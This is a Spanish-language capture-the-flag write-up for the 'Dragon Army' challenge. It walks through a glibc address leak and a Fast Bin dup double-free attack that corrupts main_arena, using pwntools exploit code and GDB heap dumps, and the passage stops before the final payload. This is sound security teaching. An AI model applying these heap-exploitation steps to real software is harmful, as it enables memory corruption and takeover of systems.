Dragon Army
23 minutos de lectura
Se nos proporciona un binario de 64 bits llamado da
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Además, tenemos esta versión de Glibc:
$ glibc/ld-linux-x86-64.so.2 glibc/libc.so.6
GNU C Library (GNU libc) stable release version 2.30.
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<http://www.gnu.org/software/libc/bugs.html>.
Ingeniería inversa
Esta vez, Ghidra no funcionó muy bien, así que probé Binary Ninja en la nube. Esta es la función main
:
El programa tiene dos etapas. La primera es solo para ingresar un texto. Si ese texto comienza con r3dDr4g3nst1str0f1
, el programa mostrará la misma entrada utilizando una cadena de formato:
"\nArmy\'s power has been buffed with spell: %s\n"
Podemos ver la cadena completa en Binary Ninja:
Da igual cuál fuera nuestro input, el programa siempre va a la segunda etapa:
$ ./da
Cast a magic spell to enhance your army's power: asdf
Unknown spell!
Dragons: [0/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> ^C
$ ./da
Cast a magic spell to enhance your army's power: r3dDr4g3nst1str0f1asdf
Army's power has been buffed with spell: r3dDr4g3nst1str0f1asdf
Dragons: [0/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> ^C
Fugando direcciones de memoria
Dado que el programa genera la misma cadena que ingresamos, analicemos la memoria para ver si podemos obtener una fuga de memoria utilizando esta funcionalidad.
$ gdb -q da
Reading symbols from da...
(No debugging symbols found in da)
Use the procinfo command for better process introspection (than the GDB's info proc command)
pwndbg> run
Starting program: ./da
Cast a magic spell to enhance your army's power: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b0301e in __GI___libc_read (fd=0, buf=0x7fffffffe5f0, nbytes=127) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
pwndbg> x/30gx $rsi
0x7fffffffe5f0: 0x00007ffff7ffeac0 0x00007ffff7dd1680
0x7fffffffe600: 0x0000000000000031 0x0000000000000001
0x7fffffffe610: 0x0000000000000031 0x0000555555556018
0x7fffffffe620: 0x00007ffff7dcd420 0x00007ffff7a8aab9
0x7fffffffe630: 0x0000000000000000 0x0000000000000000
0x7fffffffe640: 0x00007fffffffe730 0x0000555555555110
0x7fffffffe650: 0x00007fffffffe810 0x0000000000000000
0x7fffffffe660: 0x0000000000000000 0x00005555555553ad
0x7fffffffe670: 0x0000000000000000 0x0000000000000080
0x7fffffffe680: 0x000000000000007f 0x00007fffffffe5f0
0x7fffffffe690: 0x0000000000000000 0x0000000000000000
0x7fffffffe6a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6d0: 0x0000000000000000 0x0000000000000000
pwndbg> x 0x00007ffff7dcd420
0x7ffff7dcd420 <__GI__IO_file_jumps>: 0x0000000000000000
Hay muchas fugas posibles (direcciones de Glibc, binario y pila). La fuga más relevante para la explotación es una de Glibc, en este caso es __GI__IO_file_jumps
(aunque tal vez tengamos que cambiar más tarde, dependiendo del enfoque de explotación).
Por lo tanto, ingresaremos la cadena solicitada (r3dDr4g3nst1str0f1
), que contiene 18 caracteres y luego 30 caracteres para llegar a la dirección Glibc (0x00007ffff7dcd420
). Pero esto no se puede hacer desde GDB porque el programa convierte el carácter de salto de línea en un byte nulo, por lo que el programa dejará de leer la cadena en el byte nulo. Entonces, comencemos a escribir el exploit en Python:
def main():
p = get_process()
gdb.attach(p, 'continue')
p.sendafter(b"Cast a magic spell to enhance your army's power: ", b'r3dDr4g3nst1str0f1'.ljust(0x30, b'A'))
p.recvline()
data = p.recvline()[:-1]
__GI__IO_file_jumps_addr = u64(data.split(b'A')[-1].ljust(8, b'\0'))
log.info(f'Leaked __GI__IO_file_jumps address: {hex(__GI__IO_file_jumps_addr)}')
glibc.address = __GI__IO_file_jumps_addr - glibc.sym.__GI__IO_file_jumps
log.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
Con este código, obtendremos la fuga de memoria y encontraremos la dirección base de Glibc:
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3445418
[*] running in new terminal: ['/usr/bin/gdb', '-q', './da', '3445418', '-x', '/tmp/pwn9h2wi7m1.gdb']
[+] Waiting for debugger: Done
[*] Leaked __GI__IO_file_jumps address: 0x7f8b7e893420
[+] Glibc base address: 0x7f8b7e4e2000
[*] Switching to interactive mode
Dragons: [0/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> $
Entonces, vamos a la siguiente etapa. Tenemos dos opciones:
- Summon: Asignar memoria dinámica usando
malloc
y escribir datos en el chunk asignado (no hay desbordamientos). - Release: Liberar chunks.
Hay algunas limitaciones. Podemos asignar chunks de tamaño 0
a 0x58
y de 0x69
a 0x78
(límites incluidos). Este hecho es muy importante para la explotación (complica mucho el exploit).
Los chunks se almacenan en una lista global. Otra limitación es que solo podemos asignar hasta 13 chunks. Además, la opción 2
no elimina la dirección del chunk cuando se libera. Por un lado, esto es bueno porque podemos explotar potencialmente una vulnerabilidad de double free, que puede aprovecharse para Use After Free. Por otro lado, esto es malo porque solo tenemos 13 asignaciones en total.
Estrategia de explotación
Es muy fácil explotar el error de double free y lograr Use After Free, solo necesitamos asignar dos chunks (digamos A
y B
). Entonces, podemos liberar A
, luego B
y luego A
nuevamente. Esto es necesario para evitar una comprobación de seguridad de Glibc (¿por qué se llama comprobación de seguridad?).
Luego, al asignar un nuevo chunk del mismo tamaño, tendremos un chunk en la posición de A
, pero con A
en la correspondiente lista de Fast Bin (se almacena en Fast Bin porque su tamaño es menor que 0x80
). Entonces, podemos modificar el puntero fd
de A
, de modo que corromperemos la lista enlazada y lograremos una primitiva de escritura (con algunas limitaciones) después de asignar B
y A
.
Podemos probar esto fácilmente en GDB:
$ gdb -q da
Reading symbols from da...
(No debugging symbols found in da)
Use the context (or ctx) command to display the context once again. You can reconfigure the context layout with set context-section <sections> or forward the output to a file/tty via set context-output <file>. See also config context to c
onfigure it further!
pwndbg> run
Starting program: ./da
Cast a magic spell to enhance your army's power: asdf
Unknown spell!
Dragons: [0/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> 1
Dragon's length: 24
Name your dragon: AAAA
Dragons: [1/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> 1
Dragon's length: 24
Name your dragon: BBBB
Dragons: [2/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b0301e in __GI___libc_read (fd=0, buf=0x555555559420, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
Este es el heap en este momento:
pwndbg> vis_heap_chunks
...
0x555555559820 0x0000000000000000 0x0000000000000021 ........!.......
0x555555559830 0x0000000a41414141 0x0000000000000000 AAAA............
0x555555559840 0x0000000000000000 0x0000000000000021 ........!.......
0x555555559850 0x0000000a42424242 0x0000000000000000 BBBB............
0x555555559860 0x0000000000000000 0x00000000000207a1 ................ <-- Top chunk
Ahora, liberamos A
, B
y A
de nuevo:
pwndbg> continue
Continuing.
2
Dragon of choice: 0
[+] The dragon flies away!
Dragons: [2/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> 2
Dragon of choice: 1
[+] The dragon flies away!
Dragons: [2/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> 2
Dragon of choice: 0
[+] The dragon flies away!
Dragons: [2/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b0301e in __GI___libc_read (fd=0, buf=0x555555559420, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
Y tenemos esto en el heap:
pwndbg> vis_heap_chunks
...
0x555555559820 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0], fastbins[0x20][0]
0x555555559830 0x0000555555559840 0x0000000000000000 @.UUUU..........
0x555555559840 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][1]
0x555555559850 0x0000555555559820 0x0000000000000000 .UUUU..........
0x555555559860 0x0000000000000000 0x00000000000207a1 ................ <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0x555555559820 —▸ 0x555555559840 ◂— 0x555555559820
Como se puede ver, el chunk A
(dirección 0x555555559820
) está dos veces en la lista. Ahora, asignamos otro chunk, modificamos el puntero fd
de A
y asignamos B
y A
:
pwndbg> continue
Continuing.
1
Dragon's length: 24
Name your dragon: ABCDEFG
Dragons: [3/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> 1
Dragon's length: 24
Name your dragon: BBBB
Dragons: [4/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> 1
Dragon's length: 24
Name your dragon: AAAA
Dragons: [5/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b0301e in __GI___libc_read (fd=0, buf=0x555555559420, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vis_heap_chunks
...
0x555555559820 0x0000000000000000 0x0000000000000021 ........!.......
0x555555559830 0x0a47000a41414141 0x0000000000000000 AAAA..G.........
0x555555559840 0x0000000000000000 0x0000000000000021 ........!.......
0x555555559850 0x0000000a42424242 0x0000000000000000 BBBB............
0x555555559860 0x0000000000000000 0x00000000000207a1 ................ <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0xa47464544434241 ('ABCDEFG\n')
Obviamente, si intentamos asignar un nuevo chunk de tamaño 0x20
, el programa se romperá porque la siguiente dirección es 0xa47464544434241
, que no es válida:
pwndbg> continue
Continuing.
1
Dragon's length: 24
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a9dbeb in _int_malloc (av=av@entry=0x7ffff7dd0b60 <main_arena>, bytes=bytes@entry=24) at malloc.c:3586
3586 malloc.c: No such file or directory.
Esta técnica se conoce como Fast Bin dup. Estos son algunos buenos recursos para aprender sobre la técnica:
Con esta técnica, el enfoque habitual es apuntar a __malloc_hook
porque en los alrededores de __malloc_hook
hay algunas direcciones Glibc. Estas direcciones son muy útiles porque comienzan con 0x7f
:
pwndbg> x/24gx &__malloc_hook - 4
0x7ffff7dd0b30 <_IO_wide_data_0+240>: 0x00007ffff7dccee0 0x0000000000000000
0x7ffff7dd0b40 <__memalign_hook>: 0x00007ffff7a9fa10 0x00007ffff7a9fed0
0x7ffff7dd0b50 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0b60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7ffff7dd0b70 <main_arena+16>: 0x0a47464544434241 0x0000000000000000
0x7ffff7dd0b80 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0b90 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0ba0 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bb0 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bc0 <main_arena+96>: 0x0000555555559860 0x0000000000000000
0x7ffff7dd0bd0 <main_arena+112>: 0x00007ffff7dd0bc0 0x00007ffff7dd0bc0
0x7ffff7dd0be0 <main_arena+128>: 0x00007ffff7dd0bd0 0x00007ffff7dd0bd0
Este byte se puede usar como tamaño falso de un chunk de tamaño 0x70
. Otra verificación de seguridad que se aplica para chunks del Fast Bin es que el campo de tamaño debe ser válido.
El problema aquí es que no se permiten chunks de tamaño 0x70
(solo tamaños de 0
a 0x58
y de 0x69
a 0x78
). Por lo tanto, no podremos usar la técnica típica de Fast Bin dup.
Este reto me hizo pensar fuera de la caja y encontrar otro enfoque para usar Fast Bin dup (que es el único ataque que tenemos en este momento). Incluso tuve que analizar malloc
y sus verificaciones de seguridad en el código fuente de Glibc.
Traté de ver si tener una fuga del stack era mejor que la fuga de Glibc. Con un ataque de House of Spirit podría haber sido posible modificar la dirección de retorno guardada en la pila, pero el programa utiliza exit
, no regresa. Revisé todos los ataques documentados en how2heap y ninguno se ajustaba a esta situación.
Comprendiendo la arena
Como se puede ver en la salida anterior, después de __malloc_hook
tenemos main_arena
, que es la estructura que maneja el heap. Para obtener más información, vale la pena leer cuidadosamente estos recursos:
La estructura main_arena
contiene punteros a los próximos chunks liberados que se asignarán (listas enlazadas simples para chunks del Fast Bin y listas doblemente enlazadas chunks del Unsorted Bin, Small Bin y Large Bin). Otro campo importante es la dirección del top chunk, que es el chunk que se encuentra en la parte inferior del heap, de donde se toma la nueva memoria asignada.
La cuestión es que las direcciones del heap y del binario comienzan con 0x55
o 0x56
debido a PIE y ASLR. Si las direcciones comienzan con 0x56
, podemos usar este byte como un tamaño falso para un chunk de tamaño 0x50
.
Un tamaño de 0x55
no es válido porque las flags (AMP
) son 101
en binario, por lo que se supone que el chunk pertenece a la arena de la aplicación, no se asignó con mmap
y el chunk anterior no está en uso. Pero un tamaño de 0x56
(flags 110
) dice que los chunks pertenecen a la arena de la aplicación, pero se asignaron con mmap
, por lo que no es parte de una arena. Esta es una configuración válida y el asignador del heap no se quejará.
Desarrollo del exploit
Usaremos estas funciones auxiliares:
def summon(p, length: int, name: bytes):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b"Dragon's length: ", str(length).encode())
p.sendlineafter(b'Name your dragon: ', name)
def release(p, index: int):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Dragon of choice: ', str(index).encode())
Volviendo al reto, ya tenemos un objetivo para la técnica de Fast Bin dup, porque necesitamos tener un tamaño falso válido para asignar un chunk fuera del heap. Este es el código para esta explicación:
summon(p, 0x48, b'A') # 0
summon(p, 0x48, b'B') # 1
summon(p, 0x28, b'X') # 2
release(p, 2)
release(p, 0)
release(p, 1)
release(p, 0)
Veamos el estado de main_arena
y del heap:
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3485693
[*] running in new terminal: ['/usr/bin/gdb', '-q', './da', '3485693', '-x', '/tmp/pwnrpw70xpr.gdb']
[+] Waiting for debugger: Done
[*] Leaked __GI__IO_file_jumps address: 0x7f365b0c6420
[+] Glibc base address: 0x7f365ad15000
[*] Switching to interactive mode
[+] The dragon flies away!
Dragons: [3/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> $
pwndbg> vis_heap_chunks
...
0x557f61bd6420 0x0000000000000000 0x0000000000000051 ........Q....... <-- fastbins[0x50][0], fastbins[0x50][0]
0x557f61bd6430 0x0000557f61bd6470 0x0000000000000000 pd.a.U..........
0x557f61bd6440 0x0000000000000000 0x0000000000000000 ................
0x557f61bd6450 0x0000000000000000 0x0000000000000000 ................
0x557f61bd6460 0x0000000000000000 0x0000000000000000 ................
0x557f61bd6470 0x0000000000000000 0x0000000000000051 ........Q....... <-- fastbins[0x50][1]
0x557f61bd6480 0x0000557f61bd6420 0x0000000000000000 d.a.U..........
0x557f61bd6490 0x0000000000000000 0x0000000000000000 ................
0x557f61bd64a0 0x0000000000000000 0x0000000000000000 ................
0x557f61bd64b0 0x0000000000000000 0x0000000000000000 ................
0x557f61bd64c0 0x0000000000000000 0x0000000000000031 ........1....... <-- fastbins[0x30][0]
0x557f61bd64d0 0x0000000000000000 0x0000000000000000 ................
0x557f61bd64e0 0x0000000000000000 0x0000000000000000 ................
0x557f61bd64f0 0x0000000000000000 0x000000000001fb11 ................ <-- Top chunk
pwndbg> p/x main_arena
$6 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x1,
fastbinsY = {0x0, 0x557f61bd64c0, 0x0, 0x557f61bd6420, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x557f61bd64f0,
last_remainder = 0x0,
bins = {0x7f365b0c9bc0, 0x7f365b0c9bc0, 0x7f365b0c9bd0, 0x7f365b0c9bd0, 0x7f365b0c9be0, 0x7f365b0c9be0, 0x7f365b0c9bf0, 0x7f365b0c9bf0, 0x7f365b0c9c00, 0x7f365b0c9c00, 0x7f365b0c9c10, 0x7f365b0c9c10, 0x7f365b0c9c20, 0x7f365b0c9c20, 0x7f365b0c9c30, 0x7f365b0c9c30, 0x7f365b0c9c40, 0x7f365b0c9c40, 0x7f365b0c9c50, 0x7f365b0c9c50, 0x7f365b0c9c60, 0x7f365b0c9c60, 0x7f365b0c9c70, 0x7f365b0c9c70, 0x7f365b0c9c80, 0x7f365b0c9c80, 0x7f365b0c9c90, 0x7f365b0c9c90, 0x7f365b0c9ca0, 0x7f365b0c9ca0, 0x7f365b0c9cb0, 0x7f365b0c9cb0, 0x7f365b0c9cc0, 0x7f365b0c9cc0, 0x7f365b0c9cd0, 0x7f365b0c9cd0, 0x7f365b0c9ce0, 0x7f365b0c9ce0, 0x7f365b0c9cf0, 0x7f365b0c9cf0, 0x7f365b0c9d00, 0x7f365b0c9d00, 0x7f365b0c9d10, 0x7f365b0c9d10, 0x7f365b0c9d20, 0x7f365b0c9d20, 0x7f365b0c9d30, 0x7f365b0c9d30, 0x7f365b0c9d40, 0x7f365b0c9d40, 0x7f365b0c9d50, 0x7f365b0c9d50, 0x7f365b0c9d60, 0x7f365b0c9d60, 0x7f365b0c9d70, 0x7f365b0c9d70, 0x7f365b0c9d80, 0x7f365b0c9d80, 0x7f365b0c9d90, 0x7f365b0c9d90, 0x7f365b0c9da0, 0x7f365b0c9da0, 0x7f365b0c9db0, 0x7f365b0c9db0, 0x7f365b0c9dc0, 0x7f365b0c9dc0, 0x7f365b0c9dd0, 0x7f365b0c9dd0, 0x7f365b0c9de0, 0x7f365b0c9de0, 0x7f365b0c9df0, 0x7f365b0c9df0, 0x7f365b0c9e00, 0x7f365b0c9e00, 0x7f365b0c9e10, 0x7f365b0c9e10, 0x7f365b0c9e20, 0x7f365b0c9e20, 0x7f365b0c9e30, 0x7f365b0c9e30, 0x7f365b0c9e40, 0x7f365b0c9e40, 0x7f365b0c9e50, 0x7f365b0c9e50, 0x7f365b0c9e60, 0x7f365b0c9e60, 0x7f365b0c9e70, 0x7f365b0c9e70, 0x7f365b0c9e80, 0x7f365b0c9e80, 0x7f365b0c9e90, 0x7f365b0c9e90, 0x7f365b0c9ea0, 0x7f365b0c9ea0, 0x7f365b0c9eb0, 0x7f365b0c9eb0, 0x7f365b0c9ec0, 0x7f365b0c9ec0, 0x7f365b0c9ed0, 0x7f365b0c9ed0, 0x7f365b0c9ee0, 0x7f365b0c9ee0, 0x7f365b0c9ef0, 0x7f365b0c9ef0, 0x7f365b0c9f00, 0x7f365b0c9f00, 0x7f365b0c9f10, 0x7f365b0c9f10, 0x7f365b0c9f20, 0x7f365b0c9f20, 0x7f365b0c9f30, 0x7f365b0c9f30, 0x7f365b0c9f40, 0x7f365b0c9f40, 0x7f365b0c9f50, 0x7f365b0c9f50, 0x7f365b0c9f60, 0x7f365b0c9f60, 0x7f365b0c9f70, 0x7f365b0c9f70, 0x7f365b0c9f80, 0x7f365b0c9f80, 0x7f365b0c9f90, 0x7f365b0c9f90, 0x7f365b0c9fa0, 0x7f365b0c9fa0, 0x7f365b0c9fb0, 0x7f365b0c9fb0, 0x7f365b0c9fc0, 0x7f365b0c9fc0, 0x7f365b0c9fd0, 0x7f365b0c9fd0, 0x7f365b0c9fe0, 0x7f365b0c9fe0, 0x7f365b0c9ff0, 0x7f365b0c9ff0, 0x7f365b0ca000, 0x7f365b0ca000, 0x7f365b0ca010, 0x7f365b0ca010, 0x7f365b0ca020, 0x7f365b0ca020, 0x7f365b0ca030, 0x7f365b0ca030, 0x7f365b0ca040, 0x7f365b0ca040, 0x7f365b0ca050, 0x7f365b0ca050, 0x7f365b0ca060, 0x7f365b0ca060, 0x7f365b0ca070, 0x7f365b0ca070, 0x7f365b0ca080, 0x7f365b0ca080, 0x7f365b0ca090, 0x7f365b0ca090, 0x7f365b0ca0a0, 0x7f365b0ca0a0, 0x7f365b0ca0b0, 0x7f365b0ca0b0, 0x7f365b0ca0c0, 0x7f365b0ca0c0, 0x7f365b0ca0d0, 0x7f365b0ca0d0, 0x7f365b0ca0e0, 0x7f365b0ca0e0, 0x7f365b0ca0f0, 0x7f365b0ca0f0, 0x7f365b0ca100, 0x7f365b0ca100, 0x7f365b0ca110, 0x7f365b0ca110, 0x7f365b0ca120, 0x7f365b0ca120, 0x7f365b0ca130, 0x7f365b0ca130, 0x7f365b0ca140, 0x7f365b0ca140, 0x7f365b0ca150, 0x7f365b0ca150, 0x7f365b0ca160, 0x7f365b0ca160, 0x7f365b0ca170, 0x7f365b0ca170, 0x7f365b0ca180, 0x7f365b0ca180, 0x7f365b0ca190, 0x7f365b0ca190, 0x7f365b0ca1a0, 0x7f365b0ca1a0, 0x7f365b0ca1b0, 0x7f365b0ca1b0, 0x7f365b0ca1c0, 0x7f365b0ca1c0, 0x7f365b0ca1d0, 0x7f365b0ca1d0, 0x7f365b0ca1e0, 0x7f365b0ca1e0, 0x7f365b0ca1f0, 0x7f365b0ca1f0...},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7f365b0c9b60,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
pwndbg> x/30gx &main_arena
0x7f365b0c9b60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7f365b0c9b70 <main_arena+16>: 0x0000000000000000 0x0000557f61bd64c0
0x7f365b0c9b80 <main_arena+32>: 0x0000000000000000 0x0000557f61bd6420
0x7f365b0c9b90 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7f365b0c9ba0 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f365b0c9bb0 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7f365b0c9bc0 <main_arena+96>: 0x0000557f61bd64f0 0x0000000000000000
0x7f365b0c9bd0 <main_arena+112>: 0x00007f365b0c9bc0 0x00007f365b0c9bc0
0x7f365b0c9be0 <main_arena+128>: 0x00007f365b0c9bd0 0x00007f365b0c9bd0
0x7f365b0c9bf0 <main_arena+144>: 0x00007f365b0c9be0 0x00007f365b0c9be0
0x7f365b0c9c00 <main_arena+160>: 0x00007f365b0c9bf0 0x00007f365b0c9bf0
0x7f365b0c9c10 <main_arena+176>: 0x00007f365b0c9c00 0x00007f365b0c9c00
0x7f365b0c9c20 <main_arena+192>: 0x00007f365b0c9c10 0x00007f365b0c9c10
0x7f365b0c9c30 <main_arena+208>: 0x00007f365b0c9c20 0x00007f365b0c9c20
0x7f365b0c9c40 <main_arena+224>: 0x00007f365b0c9c30 0x00007f365b0c9c30
pwndbg> bins
fastbins
0x30: 0x557f61bd64c0 ◂— 0x0
0x50: 0x557f61bd6420 —▸ 0x557f61bd6470 ◂— 0x557f61bd6420
unsortedbin
empty
smallbins
empty
largebins
empty
Como se puede ver, tenemos algunas direcciones del heap en main_arena
(cabezas de 0x30
y 0x50
de los Fast Bin y la dirección del top chunk 0x0000557f61bd64f0
).
Obsérvese también que hemos comenzado la técnica Fast Bin dup porque ya tenemos un double free en el Fast Bin de tamaño 0x50
. Ahora la idea es asignar un chunk de tamaño 0x50
en main_arena
(específicamente, en la posición de la dirección del chunk de 0x30
).
Esta parte era obligatoria, porque no había otra área de memoria útil donde pudiéramos usar Fast Bin dup. Podríamos haber elegido otra lista de Fast Bin, pero la elegida funciona correctamente. Mi idea era modificar la dirección del top chunk a una dirección anterior a __malloc_hook
, para que podamos comenzar a asignar chunks hasta que caer cerca de __malloc_hook
y escribir algo aquí para obtener ejecución de comandos.
Para esto, necesitamos alinear un poco la memoria para tomar el offset para el ataque de Fast Bin dup:
pwndbg> x/20gx 0x7f365b0c9b60 + 21
0x7f365b0c9b75 <main_arena+21>: 0x7f61bd64c0000000 0x0000000000000055
0x7f365b0c9b85 <main_arena+37>: 0x7f61bd6420000000 0x0000000000000055
0x7f365b0c9b95 <main_arena+53>: 0x0000000000000000 0x0000000000000000
0x7f365b0c9ba5 <main_arena+69>: 0x0000000000000000 0x0000000000000000
0x7f365b0c9bb5 <main_arena+85>: 0x0000000000000000 0x7f61bd64f0000000
0x7f365b0c9bc5 <main_arena+101>: 0x0000000000000055 0x365b0c9bc0000000
0x7f365b0c9bd5 <main_arena+117>: 0x365b0c9bc000007f 0x365b0c9bd000007f
0x7f365b0c9be5 <main_arena+133>: 0x365b0c9bd000007f 0x365b0c9be000007f
0x7f365b0c9bf5 <main_arena+149>: 0x365b0c9be000007f 0x365b0c9bf000007f
0x7f365b0c9c05 <main_arena+165>: 0x365b0c9bf000007f 0x365b0c9c0000007f
Vale, main_arena + 21
, vamos a jugar con main_arena
:
summon(p, 0x48, p64(glibc.sym.main_arena + 21)) # 3
summon(p, 0x48, b'B') # 4
summon(p, 0x48, b'A') # 5
summon(p, 0x48, cyclic(64)) # 6
De ahora en adelante, el exploit podría fallar porque la mayoría de las veces las direcciones del heap comienzan con 0x55
, por lo que el Fast Bin dup fallará.
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3495882
[*] running in new terminal: ['/usr/bin/gdb', '-q', './da', '3495882', '-x', '/tmp/pwnj0_ue88l.gdb']
[+] Waiting for debugger: Done
[*] Leaked __GI__IO_file_jumps address: 0x7f26625c7420
[+] Glibc base address: 0x7f2662216000
[*] Switching to interactive mode
Dragons: [7/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> $
Y aquí tenemos la estructura corrupta de main_arena
:
pwndbg> p/x main_arena
$1 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x1,
fastbinsY = {0x0, 0x56029b1354c0, 0x6161610000000000, 0x6161636161616261, 0x6161656161616461, 0x6161676161616661, 0x6161696161616861, 0x61616b6161616a61, 0x61616d6161616c61, 0x61616f6161616e61},
top = 0xa6161617061,
last_remainder = 0x0,
